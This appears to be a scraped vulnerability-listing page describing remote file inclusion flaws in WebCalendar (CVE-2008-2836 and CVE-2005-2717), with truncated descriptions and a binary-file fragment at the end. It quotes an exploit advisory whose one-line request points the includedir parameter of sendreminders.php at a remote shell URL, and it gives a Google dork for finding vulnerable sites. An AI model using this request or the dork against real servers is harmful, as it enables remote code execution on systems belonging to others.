CVE-2008-2836

PHP remote file inclusion vulnerability in sendreminders.php in WebCalendar 1.0.4 allows remote attackers to execute arbitrary PHP code via a URL in the includedir parameter and a 0 value for the noSet parameter, a different vector than CVE-2007-1483...

webcal104-rfi.txt

Cr@zyKing :\ BiyoSecurity Team WebCalendar v1.0.4 Remote Fıle Include Demo - Down : http://webcalendar.sourceforge.net/ http://localhost/patch/tools/sendreminders.php?noSet=0&includedir=http://sheLLz? Google Dork : "WebCalendar v1.0.4" www.biyosecurity.com Greatz : aLL My Friend'Z & nETKILLER...

CVE-2005-2717

PHP remote file inclusion vulnerability in WebCalendar before 1.0.1 allows remote attackers to execute arbitrary PHP code when opening settings.php, possibly via sendreminders.php or other scripts...

WebCalendar < 1.0.1 send_reminders.php includedir Parameter Remote File Inclusion

Binary data 3182.prm...